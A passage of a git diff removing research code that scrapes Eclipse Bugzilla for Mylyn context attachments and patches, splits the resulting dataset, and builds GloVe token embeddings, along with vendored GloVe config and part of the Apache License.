-Reqif-1.0 -requirement connector -Requirement Editor -RequirementsVP -Resources -Revision Graph -ridget -RIF-1.1 -RIF-1.2 -RIO -Risev2g -RJ -RM -RM.LoadLeveler -RM.MPICH2 -RM.Open MPI -RM.PBS -RM.PE -RM.SLURM -Robotics -RobotML -RPM -RSE -Rta -RTP -Ruby -Ruby-Debug -Runner -Runtime -runtime-flow -runtime-java -runtime-js -runtime-js-rhino -runtime-ui -runtime-web -runtime-wiki -rust-package -RWT -samples -Samples-UML -Sandbox -Sapphire -SBVR -Sca -Scada -Scalamodules -Scandium -Schedule -SCI -Science -Score -Scout -scout-package -Scripting -Scripting Support -Scripts -sdk -SDK Management -SDO -Search -SeCoblocks -security -Security Management -Sensinact -Sequoyah -Server -Server-Side -ServerCore -Servers -Service Model -Services -servlet-3.1 -Setup -Shared -signing -signing-service -simdebug -SimpleMap -Simulation -SiriusDiagram -Sisu -site -Skalli -Sketch -Smarthome -Smarty -Smells -Smila -snaps -Snippets Framework -soa-package -SoaML -SOC -Sonar -Spaces -Sparkplug -spdy -Spring -SQL Debug Framework -SQL Debugger Framework -SQL Editor Framework -SQL Execution Plan -SQL Model -SQL Query Builder -SQL Query Model -SQL Query Parser -SQL Results View -SQLDevTools -SSH Slaves -standbyPlanning (Bereitschaftsplanung) -Stardust -start -State system -Statemachines -statementPublicAffairs (Stellungnahme Träger öffentlicher Belang -Statespace -Stellation -STP -Subversion -SVN -Swordfish -SWT -SWT/JFace -SWTBot -symbex -SysML -System2Subsystem -Systemfocus -Systemtap -Table -Table Data Editor -Target -Target - Eclipse via XWT -Target - WEB via AngularJS -Targets -Targlets -Tcl -Team -Technologies -templates -Teneo -terminal -Test -Test archive -Test framework -Testing -testing-package -TestPorts -tests -TestSuite -Texo -Text -textual -Textual editor -Thym -Tinydtls -titan.core -titan.plugins -titan.ProtocolModules -titan.TestPorts -TMF -TMF.TCS -TMW -tool -Toolbox -Tooling -Tools -tools.templates -Toolset -Toolsmiths -TPTP -TPTP.monitoring -Trace types -traceability analyser -Traceability Viewer -Transaction -Transformation -Transformations -Transition -translations -Tree -TreeMapper -Triquetrum -Tycho -UA -UCUM -UFacekit -UI -UI Guidelines -UML2Tools -UMLGen -UMLX -Units -unknown -Update (deprecated - use Eclipse>Equinox>p2) -Update Site -Usage Data Collector -UseCases -User -User Assistance -User Interface -UserInterface -Utilities -UTP -Vagrant -Valgrind -Validation -Validation Runtime Extensions -VE -Version Management -Views -virgo-build -Virtualization -VJET -Vorto Repository -VPM (Archive) -vservers -Vulnerability Reports -Wam -Wazaabi -WE -Weaving -Web -Web Page -Web Site -Web Standard Tools -web-admin -WebDAV -Website -Website / Wiki -websocket -Webtools Source Editing JSDT -Webtools.ATF -webtools.java ee config -Webtools.WST.Javascript -Wiki -WindowBuilder -Winery -wizard -wizards -Workbench -Workflow -wst.command -wst.common -wst.css -wst.dtd -wst.html -wst.internet -wst.json -wst.server -wst.sse -wst.validation -wst.web -wst.ws -wst.wsdl -wst.wsi -wst.xml -wst.xpath -wst.xsd -wst.xsl -WSVT -wtp -WTP Datatools -WTP Incubator -wtp.inc.facelets -wtp.inc.jaxws -wtp.inc.relaxng -wtp.inc.sieditor -wtp.inc.vex -wtp.inc.xmlsearch -wtp.inc.xmlsecurity -wtp.inc.xquery -wtp.inc.xsl -WWW -Xcore -XML -XML Persistence Mapping -XML Pivot -XML/XMI -XOTcl -Xpand -XPand-OCL -XSD -Xtext -Xtext Backlog -Xtext Errors -Xtext Integration -Yasson -Yearly Release \ No newline at end of file diff --git a/data_extraction/main.py b/data_extraction/main.py deleted file mode 100644 index 9b2b6e3..0000000 --- a/data_extraction/main.py +++ /dev/null @@ -1,57 +0,0 @@ -from data_extraction import step1, step2, step_merge -from data_extraction.bugzilla_data.component import Mylyn - -if __name__ == '__main__': - # 0:2006 1:806 2:1197 3:3605 4:705 5:700 7:86 8:4977(2565) 10:1149 12:537 13:10467(6804,7623,9536) - # 14:3479 15:2135 16:15989(15791) 19:24 20:61 - # index = 21 - # while True: - # Platform.set_index(index) - # interval = 0 - # url = concat_component_url(Platform.url, Platform.components) - # bz_api, query = step1.get_all_components(url) - # component_bugs = step2.get_all_bugs(bz_api, query, Platform.components, Platform.index) - # step_merge.merged_3_and_4(bz_api, component_bugs, Platform.name, interval) - # index += 1 - - # 1:1008 2:251 4:7113 - # index = 0 - # while True: - # PDE.set_index(index) - # interval = 0 - # url = concat_component_url(PDE.url, PDE.components) - # bz_api, query = step1.get_all_components(PDE.url) - # component_bugs = step2.get_all_bugs(bz_api, query, PDE.components, PDE.index) - # step_merge.merged_3_and_4(bz_api, component_bugs, PDE.name, interval) - # index += 1 - - # 0:18 1:335 4:33 15:47 18:105 - # index = 0 - # while True: - # ECF.set_index(19) - # interval = 0 - # url = concat_component_url(ECF.url, ECF.components) - # bz_api, query = step1.get_all_components(ECF.url) - # component_bugs = step2.get_all_bugs(bz_api, query, ECF.components, ECF.index) - # step_merge.merged_3_and_4(bz_api, component_bugs, ECF.name, interval) - # index += 1 - - # 0:54 1:24 2:1 - # index = 0 - # while True: - # MDT.set_index(3) - # interval = 0 - # url = concat_component_url(MDT.url, MDT.components) - # bz_api, query = step1.get_all_components(MDT.url) - # component_bugs = step2.get_all_bugs(bz_api, query, MDT.components, MDT.index) - # step_merge.merged_3_and_4(bz_api, component_bugs, MDT.name, interval) - # index += 1 - - # 6221 - bz_api, query = step1.get_all_components(Mylyn.url) - component_bugs = step2.get_all_bugs(bz_api, query, ['Mylyn'], 0) - step_merge.merged_3_and_4(bz_api, component_bugs, Mylyn.name, 0) - - - - diff --git a/data_extraction/step1.py b/data_extraction/step1.py deleted file mode 100644 index 1b078ef..0000000 --- a/data_extraction/step1.py +++ /dev/null @@ -1,18 +0,0 @@ -import bugzilla - - -def get_all_components(specific_url: str): - """ - step1: identify all the components involved URL from eclipse bugzilla_data site - - :return: bz_api, query, components: bugzilla对象,query对象和所有的components - """ - url = "https://bugs.eclipse.org/bugs/xmlrpc.cgi" - bz_api = bugzilla.Bugzilla(url) - - query = bz_api.url_to_query(specific_url) - print('query', query) - - # components = query['component'] - # print('components', components, 'len =', len(components)) - return bz_api, query diff --git a/data_extraction/step2.py b/data_extraction/step2.py deleted file mode 100644 index 30b5c76..0000000 --- a/data_extraction/step2.py +++ /dev/null @@ -1,57 +0,0 @@ -from bugzilla import Bugzilla - - -def get_all_bugs(bz_api: Bugzilla, query, components: list, index: int): - """ - Step 2: initialize the output - - :param index: 当前处理的组件的下标 - :param bz_api: bugzilla对象 - :param query: query对象 - :param components: 所有的components - :return: component_bugs: 返回components和它的bugs集合 - """ - component_bugs = dict() - for component in components: - component_bugs[component] = list() - # query['component'] = components - # print(len(bz_api.query(query))) - - # 每次爬取一个 - for component in components[index:index + 1]: - component_query = query.copy() - component_query['component'] = component - print('component_query', component_query) - bugs = bz_api.query(component_query) - print('single component', component, len(bugs), bugs) - component_bugs[component].extend(bugs) - - # for component, bugs in component_bugs.items(): - # print('{} has {} bugs'.format(component, len(bugs))) - - return component_bugs - - -""" -Ant has 29 bugs -CVS has 21 bugs -Compare has 8 bugs -Debug has 46 bugs -Doc has 26 bugs -IDE has 41 bugs -Incubator has 0 bugs -PMC has 4 bugs -Releng has 205 bugs -Resources has 25 bugs -Runtime has 17 bugs -SWT has 356 bugs -Scripting has 0 bugs -Search has 15 bugs -Team has 76 bugs -Text has 51 bugs -UI has 1335 bugs -Update (deprecated - use Eclipse>Equinox>p2) has 20 bugs -User Assistance has 60 bugs -WebDAV has 1 bugs -Website has 5 bugs -""" diff --git a/data_extraction/step3.py b/data_extraction/step3.py deleted file mode 100644 index 4181463..0000000 --- a/data_extraction/step3.py +++ /dev/null @@ -1,87 +0,0 @@ -import os - -from bugzilla import Bugzilla -from bugzilla.bug import Bug - - -def get_mylyn_attachment(bug: Bug): - """ - 获取mylyn标签 - - :param bug: bug对象 - :return: 返回mylyn的所有标签id - """ - att_ids: list[int] = [] - attachments = bug.get_attachments() - for att in attachments: - print('att', att) - if 'mylyn' in att['summary'] and 'zip' in att['summary']: - att_ids.append(att['id']) - return att_ids - - -def make_dir(directory): - """ - 创建一个目录 - - :param directory: 目录地址 - :return: 无返回值,创建目录 - """ - if not os.path.exists(directory): - os.makedirs(directory) - - -def save_mylyn(bz_api: Bugzilla, bug: Bug, output_dir: str, att_ids: list): - """ - 写文件,保存 mylyn 匹配的 - - :param bz_api: Bugzilla对象 - :param bug: bug对象 - :param output_dir: 输出目录 - :param att_ids: 包含attachment的bugId集合 - :return: 无返回值,写文件 - """ - bug_dir = output_dir + "/" + str(bug.id) - make_dir(bug_dir) - for att_id in att_ids: - attach = bz_api.openattachment(att_id) - att_name = bug_dir + '/' + str(bug.id) + '_' + str(att_id) + '.zip' - with open(att_name, 'wb') as out: - out.write(attach.read()) - - -def filter_mylyn_bugs(bz_api: Bugzilla, component_bugs: dict[str, list[Bug]]): - """ - step3: filter by existence of mylyn attachment - 根据 bug id和标签 id 获取 zip 内容,并保存到本地文件 - - :return: 无返回值,写文件 - """ - count = 1 - has_att = 0 - file_dir = '0_paper_dataset/' - product = 'Platform/' - output_dir = file_dir + 'mylyn_zip/' + product - make_dir(output_dir) - mylyn_zip_bugs = list() - component: str - fixed_bugs: list[Bug] - for component, fixed_bugs in sorted(component_bugs.items()): - print(component) - print("Till now, mylyn zip #:" + str(has_att)) - for bug in fixed_bugs: - if count % 10 == 0: - print('Total: {}, current bug ID: {}'.format(count, bug.id)) - # print(bug) - # print(bug.assigned_to) - # print("Now processing bug ID:" + str(bug.id)) - count = count + 1 - # if count < 22680: - # continue - att_ids = get_mylyn_attachment(bug) - # no mylyn attachment - if len(att_ids) == 0: - continue - mylyn_zip_bugs.append(bug) - has_att = has_att + 1 - save_mylyn(bz_api, bug, output_dir, att_ids) diff --git a/data_extraction/step4.py b/data_extraction/step4.py deleted file mode 100644 index 6521139..0000000 --- a/data_extraction/step4.py +++ /dev/null @@ -1,79 +0,0 @@ -from bugzilla import Bugzilla -from bugzilla.bug import Bug - -from data_extraction.step3 import make_dir - - -def get_att_ids_and_patch_ids(bug: Bug): - """ - 获取 attachment 和 patch id 集合 - - :param bug: bug对象 - :return: att_ids, patch_ids,两个 id 集合 - """ - # attachment of patch (ids) - patch_ids = [] - # mylyn.zip ids - att_ids = [] - attachments = bug.get_attachments() - for att in attachments: - if 'mylyn' in att['summary'] and 'zip' in att['summary']: - att_ids.append(att['id']) - elif 'mylar' in att['summary'] and 'zip' in att['summary']: - att_ids.append(att['id']) - elif att['is_patch'] == 1: - patch_ids.append(att['id']) - return att_ids, patch_ids - - -def save_patch(bz_api: Bugzilla, bug: Bug, output_dir: str, patch_ids: list): - """ - 写文件,保存 patch 匹配的 - - :param bz_api: Bugzilla对象 - :param bug: bug对象 - :param output_dir: 输出目录 - :param patch_ids: patchId集合 - :return: 无返回值,写文件 - """ - bug_dir = output_dir + "/" + str(bug.id) - make_dir(bug_dir) - for att_id in patch_ids: - attach = bz_api.openattachment(att_id) - att_name = bug_dir + '/' + str(bug.id) + '_' + str(att_id) + '.txt' - with open(att_name, 'wb') as out: - out.write(attach.read()) - - -def filter_br_with_patch(bz_api: Bugzilla, component_bugs: dict[str, list[Bug]]): - """ - step5: Filter BR with patch - - :return: 无返回值 - """ - file_dir = '0_paper_dataset/' - output_dir = file_dir + 'patch_txt' - make_dir(output_dir) - patched_context_bug_ids = [] - context_bug_ids = [] - count = 0 - # bug_id = 263919 - component: str - fixed_bugs: list[Bug] - for component, fixed_bugs in sorted(component_bugs.items()): - print('component = {}, count = {}'.format(component, count)) - for bug in fixed_bugs: - # if bug.id < bug_id: - # continue - att_ids, patch_ids = get_att_ids_and_patch_ids(bug) - if (len(att_ids)) > 0: - count += 1 - if (len(patch_ids)) > 0: - print('Patch & mylyn: %d' % bug.id) - patched_context_bug_ids.append(bug.id) - save_patch(bz_api, bug, output_dir, patch_ids) - else: - print(' Only mylyn, no patch: %d' % bug.id) - context_bug_ids.append(bug.id) - else: - print(' No mylyn: %d' % bug.id) diff --git a/data_extraction/step_merge.py b/data_extraction/step_merge.py deleted file mode 100644 index 5bc72cc..0000000 --- a/data_extraction/step_merge.py +++ /dev/null @@ -1,107 +0,0 @@ -import time - -from bugzilla import Bugzilla -from bugzilla.bug import Bug - -from data_extraction.step3 import make_dir -from data_extraction.step4 import get_att_ids_and_patch_ids - - -def save_mylyn_and_patch(bz_api: Bugzilla, bug: Bug, output_dir_3: str, output_dir_4: str, att_ids: list, - patch_ids: list, patch: bool): - """ - 写文件,保存符合 mylyn 或者 patch 的数据 - - :param bz_api: Bugzilla对象 - :param bug: Bug对象 - :param output_dir_3: mylyn的输出目录 - :param output_dir_4: patch的输出目录 - :param att_ids: 符合mylyn的bugId集合 - :param patch_ids: 符合patch的bugId集合 - :param patch: 是否需要保存 patch - :return: 写文件,没有返回值 - """ - bug_dir_3 = output_dir_3 + "/" + str(bug.id) - make_dir(bug_dir_3) - patch_ids_copy = patch_ids.copy() - bug_dir_4 = output_dir_4 + "/" + str(bug.id) - if patch: - make_dir(bug_dir_4) - for att_id in att_ids: - attach = bz_api.openattachment(att_id) - att_name = bug_dir_3 + '/' + str(bug.id) + '_' + str(att_id) + '.zip' - with open(att_name, 'wb') as out: - out.write(attach.read()) - if patch: - # 如果是存在的,就不重复获取了,直接使用现成的 - if att_id in patch_ids_copy: - att_name_patch = bug_dir_4 + '/' + str(bug.id) + '_' + str(att_id) + '.txt' - with open(att_name_patch, 'wb') as out_patch: - out_patch.write(attach.read()) - patch_ids_copy.remove(att_id) - # 再遍历剩下的 - if patch: - for att_id in patch_ids_copy: - attach = bz_api.openattachment(att_id) - att_name = bug_dir_4 + '/' + str(bug.id) + '_' + str(att_id) + '.txt' - with open(att_name, 'wb') as out: - out.write(attach.read()) - - -def merged_3_and_4(bz_api: Bugzilla, component_bugs: dict[str, list[Bug]], product: str, interval: int): - """ - step3: filter by existence of mylyn attachment - 根据 bug id和标签 id 获取 zip 内容,并保存到本地文件 - - :return: 无返回值,写文件 - """ - count = 1 - has_att = 0 - file_dir = 'bug_dataset/' - output_dir_3 = file_dir + 'mylyn_zip/' + product - make_dir(output_dir_3) - - output_dir_4 = file_dir + 'patch_txt/' + product - make_dir(output_dir_4) - # patched_context_bug_ids = [] - # context_bug_ids = [] - - mylyn_zip_bugs = list() - component: str - fixed_bugs: list[Bug] - for component, fixed_bugs in component_bugs.items(): - if len(fixed_bugs) <= 0: - continue - print(component, len(fixed_bugs)) - print("Till now, mylyn zip #:" + str(has_att)) - i = interval - while i < len(fixed_bugs): # 可以在这限制处理的bug区间 - bug = fixed_bugs[i] - if count % 10 == 0: - print('Total: {}, current bug ID: {}, index: {}'.format(count, bug.id, fixed_bugs.index(bug))) - # print(bug) - # print(bug.assigned_to) - # print("Now processing bug ID:" + str(bug.id)) - count = count + 1 - try: - att_ids, patch_ids = get_att_ids_and_patch_ids(bug) - if (len(att_ids)) > 0: - # mylyn存在,保存进文件 - mylyn_zip_bugs.append(bug) - has_att = has_att + 1 - if (len(patch_ids)) > 0: - print('Patch & mylyn: %d' % bug.id) - # patched_context_bug_ids.append(bug.id) - save_mylyn_and_patch(bz_api, bug, output_dir_3, output_dir_4, att_ids, patch_ids, True) - else: - print(' Only mylyn, no patch: %d' % bug.id) - save_mylyn_and_patch(bz_api, bug, output_dir_3, output_dir_4, att_ids, patch_ids, False) - # context_bug_ids.append(bug.id) - else: - print(' No mylyn: %d' % bug.id) - except Exception as error: - print(bug.id, "index:", i, "出错啦,间隔二十秒之后,重新请求") - time.sleep(20) - i -= 1 - finally: - i += 1 diff --git a/dataset_replication/copy_dataset.py b/dataset_replication/copy_dataset.py deleted file mode 100644 index e93c09c..0000000 --- a/dataset_replication/copy_dataset.py +++ /dev/null @@ -1,42 +0,0 @@ -""" -将code context model拆分component -""" -import os -import shutil -from os.path import join, isdir - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') -dest_path = '/data1/shunliu/model_dataset/' - - -def main_func(project_model_name: str): - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - # 读取code context model - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - # index = model_dir_list.index('5232') - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - model_file = join(model_path, '_code_context_model.xml') - os.makedirs(join(dest_path, project_model_name, model_dir), exist_ok=True) - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - shutil.copy(model_file, join(dest_path, project_model_name, model_dir, 'code_context_model.xml')) - for model_inner_file in os.listdir(model_path): - model_inner_file_path = join(model_path, model_inner_file) - if isdir(model_inner_file_path) and model_inner_file != "doxygen": - shutil.copytree(model_inner_file_path, join(dest_path, project_model_name, model_dir, model_inner_file)) - - - -# ecf -# main_func('my_ecf') -# pde -main_func('my_pde') -# platform -main_func('my_platform') -# # mylyn -# print(root_path) -main_func('my_mylyn') diff --git a/dataset_split_util/__init__.py b/dataset_split_util/__init__.py deleted file mode 100644 index 7442bd7..0000000 --- a/dataset_split_util/__init__.py +++ /dev/null @@ -1 +0,0 @@ -from .split_util import * diff --git a/dataset_split_util/split_util.py b/dataset_split_util/split_util.py deleted file mode 100644 index 27ab174..0000000 --- a/dataset_split_util/split_util.py +++ /dev/null @@ -1,37 +0,0 @@ -import os -from os.path import join -import xml.etree.ElementTree as ET - -import numpy as np - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') - - -def get_models_by_ratio(project: str, start_ratio: float, end_ratio: float): - """ - 返回比例范围内的model,根据first_time排序 - - :param project: 项目 - :param start_ratio: 开始比例 - :param end_ratio: 结束比例 - :return: model_dir数组 - """ - if start_ratio == end_ratio: - return [] - project_path = join(root_path, project, 'repo_first_3') - model_dir_list = os.listdir(project_path) - all_models = [] - for model_dir in model_dir_list: - model_path = join(project_path, model_dir) - model_file = join(model_path, 'code_context_model.xml') - # 如果不存在模型,跳过处理 - if not os.path.exists(model_file): - continue - tree = ET.parse(model_file) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - first_time = code_context_model.get('first_time') - all_models.append([model_dir, first_time]) - all_models = sorted(all_models, key=lambda x: x[1]) - m = np.array(all_models) - return m[int(len(m) * start_ratio):int(len(m) * end_ratio), 0] diff --git a/glove_embedding/data_process.py b/glove_embedding/data_process.py deleted file mode 100644 index 2134c30..0000000 --- a/glove_embedding/data_process.py +++ /dev/null @@ -1,107 +0,0 @@ -""" -获取所有的vocab句子 -""" -import os -from os.path import join -import xml.etree.ElementTree as ET - -import pandas as pd -import warnings -from tqdm.auto import tqdm - -from dataset_split_util import get_models_by_ratio - -tqdm.pandas() -warnings.filterwarnings('ignore') - -root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', 'git_repo_code') -glove_root = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'glove_embedding') - - -def choose_prediction_step(step: int, tokens: pd.DataFrame, model_path, model_dir): - """ - 根据 step 过滤 ast - - :param step: 步长 - :param tokens: 完整的 ast 数据 - :param model_path: model 所在路径 - :param model_dir: model 序号 - :return: 过滤后的 ast - """ - if step == 3: - return tokens - else: - step_model_path = join(model_path, str(step) + '_step_expanded_model.xml') - tree = ET.parse(step_model_path) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - keys = [] - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - ref_id = vertex.get('ref_id') - kind = vertex.get('kind') - keys.append(model_dir + '_' + kind + '_' + ref_id) - return tokens[tokens['id'].isin(keys)] - - -def save_train_java_tokens(trees, step, ratio, description): - """ - 将 vocab 的句子写入到 txt 文件中 - - Args: - trees: 需要训练的 ast 集合 pd.DataFrame(['id', 'code']) - step: 步长 - ratio: 训练的数据比例 - description: 训练的项目描述信息:all训练所有项目,onlymylyn,nopde,noplatform - - Returns: 无 - """ - if not os.path.exists(join(glove_root, 'train_vocab')): - os.mkdir(join(glove_root, 'train_vocab')) - - txt_path = join(glove_root, 'train_vocab', f'{description}_{str(step)}_{str(ratio)}_vocab.txt') - with open(txt_path, 'w') as vocab_file: - trees['tokens'].progress_apply(lambda x: vocab_file.write(x + "\n")) - vocab_file.close() - - -def main_func(step: int, description, r=0.8): - if description == 'all': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - ratio = r - elif description == 'onlymylyn': - project_model_list = ['my_mylyn'] - ratio = 1 - elif description == 'nopde': - project_model_list = ['my_platform', 'my_mylyn'] - ratio = 1 - elif description == 'noplatform': - project_model_list = ['my_pde', 'my_mylyn'] - ratio = 1 - elif description == 'mylyn': - project_model_list = ['my_mylyn'] - ratio = r - else: - project_model_list = [] - ratio = 1 - java_tokens = pd.DataFrame(columns=['id', 'tokens']) - for project_model_name in project_model_list: - print('***********************', project_model_name) - project_path = join(root_path, project_model_name, 'repo_first_3') - model_dir_list = get_models_by_ratio(project_model_name, 0.0, ratio) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - tokens_path = join(model_path, 'java_tokens.tsv') - # 如果不存在ast,跳过处理 - if not os.path.exists(tokens_path): - continue - tokens = pd.read_csv(tokens_path, sep='\t') - tokens = choose_prediction_step(step, tokens, model_path, model_dir) - print(f'tokens size: {len(tokens)}') - java_tokens = pd.concat([java_tokens, tokens]) - save_train_java_tokens(java_tokens, step, ratio, description) - diff --git a/glove_embedding/embedding.py b/glove_embedding/embedding.py deleted file mode 100644 index 45ce9d6..0000000 --- a/glove_embedding/embedding.py +++ /dev/null @@ -1,110 +0,0 @@ -""" -根据 glove 模型生成词向量 -""" -import os -from os.path import join - -import numpy as np -import pandas as pd -import torch -from gensim.models import KeyedVectors -import xml.etree.ElementTree as ET - -from tqdm.auto import tqdm - -import warnings - -tqdm.pandas() -warnings.filterwarnings('ignore') - -repo_root_path = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'params_validation', - 'git_repo_code') -glove_root = join(os.path.dirname(os.path.dirname(os.path.realpath(__file__))), 'glove_embedding') - - -def choose_prediction_step(step: int, sources: pd.DataFrame, model_path, model_dir): - """ - 根据 step 过滤 ast - - :param sources: 完整的 ast 数据 - :param model_path: model 所在路径 - :param model_dir: model 序号 - :return: 过滤后的 ast - """ - if step == 3: - return sources - else: - step_model_path = join(model_path, str(step) + '_step_expanded_model.xml') - tree = ET.parse(step_model_path) # 拿到xml树 - # 获取XML文档的根元素 - code_context_model = tree.getroot() - graphs = code_context_model.findall("graph") - keys = [] - for graph in graphs: - vertices = graph.find('vertices') - vertex_list = vertices.findall('vertex') - for vertex in vertex_list: - ref_id = vertex.get('ref_id') - kind = vertex.get('kind') - keys.append(model_dir + '_' + kind + '_' + ref_id) - return sources[sources['id'].isin(keys)] - - -def get_all(glove_model, tokens): - # 分词 - words = tokens.split() - res = [] - # 计算段落的总词向量 - for word in words: - if word in glove_model: - res.append(glove_model[word]) - else: # if OOV random generate a tensor - res.append(torch.randn(512).tolist()) - return torch.tensor(res) - - -def get_embedding(tokens: pd.DataFrame, model) -> pd.DataFrame: - print('embedding glove code...') - tokens['tokens'] = tokens['tokens'].progress_apply(lambda x: torch.mean(get_all(model, x), dim=0)) - tokens.columns = ['id', 'embedding'] - return tokens - - -def main_func(step, description, r=0.8): - if description == 'all': - project_model_list = ['my_pde', 'my_platform', 'my_mylyn'] - ratio = r - elif description == 'onlymylyn': - project_model_list = ['my_mylyn'] - ratio = 0.8 - elif description == 'nopde': - project_model_list = ['my_platform', 'my_mylyn'] - ratio = 0.8 - elif description == 'noplatform': - project_model_list = ['my_pde', 'my_mylyn'] - ratio = 0.8 - elif description == 'mylyn': - project_model_list = ['my_mylyn'] - ratio = r - else: - project_model_list = [] - ratio = 1 - # 加载转化后的文件 - model_file = join(glove_root, 'trained_model', f'{description}_{step}_{ratio}', 'w2v_vectors.txt') - model = KeyedVectors.load_word2vec_format(model_file) - for project_model_name in project_model_list: - print('**********', project_model_name) - project_path = join(repo_root_path, project_model_name, 'repo_first_3') - model_dir_list = os.listdir(project_path) - model_dir_list = sorted(model_dir_list, key=lambda x: int(x)) - for model_dir in model_dir_list: - print('---------------', model_dir) - model_path = join(project_path, model_dir) - tokens_path = join(model_path, 'java_tokens.tsv') - # 如果不存在block_path,跳过处理 - if not os.path.exists(tokens_path): - continue - sources = pd.read_csv(tokens_path, sep='\t') - sources = choose_prediction_step(step, sources, model_path, model_dir) - get_embedding(sources, model).to_pickle( - join(model_path, f'{description}_{step}_glove_embedding.pkl')) diff --git a/glove_embedding/glove/.gitignore b/glove_embedding/glove/.gitignore deleted file mode 100644 index d0b592b..0000000 --- a/glove_embedding/glove/.gitignore +++ /dev/null @@ -1,47 +0,0 @@ -# Object files -*.o -*.ko -*.obj -*.elf - -# Precompiled Headers -*.gch -*.pch - -# Libraries -*.lib -*.a -*.la -*.lo - -# Shared objects (inc. Windows DLLs) -*.dll -*.so -*.so.* -*.dylib - -# Executables -*.exe -*.out -*.app -*.i*86 -*.x86_64 -*.hex - -# Debug files -*.dSYM/ - - -build/* -*.swp - -# OS X stuff -._* - -# demo.sh-produced artifacts -/cooccurrence.bin -/cooccurrence.shuf.bin -/text8 -/vectors.bin -/vectors.txt -/vocab.txt diff --git a/glove_embedding/glove/.travis.yml b/glove_embedding/glove/.travis.yml deleted file mode 100644 index eb07c2d..0000000 --- a/glove_embedding/glove/.travis.yml +++ /dev/null @@ -1,6 +0,0 @@ -language: c -dist: trusty -sudo: required -before_install: - - sudo apt-get install python2.7 python-numpy python-pip -script: pip install numpy && ./demo.sh | tee results.txt && [[ `cat results.txt | egrep "Total accuracy. 2[23]" | wc -l` = "1" ]] && echo test-passed diff --git a/glove_embedding/glove/LICENSE b/glove_embedding/glove/LICENSE deleted file mode 100644 index ce2d900..0000000 --- a/glove_embedding/glove/LICENSE +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display 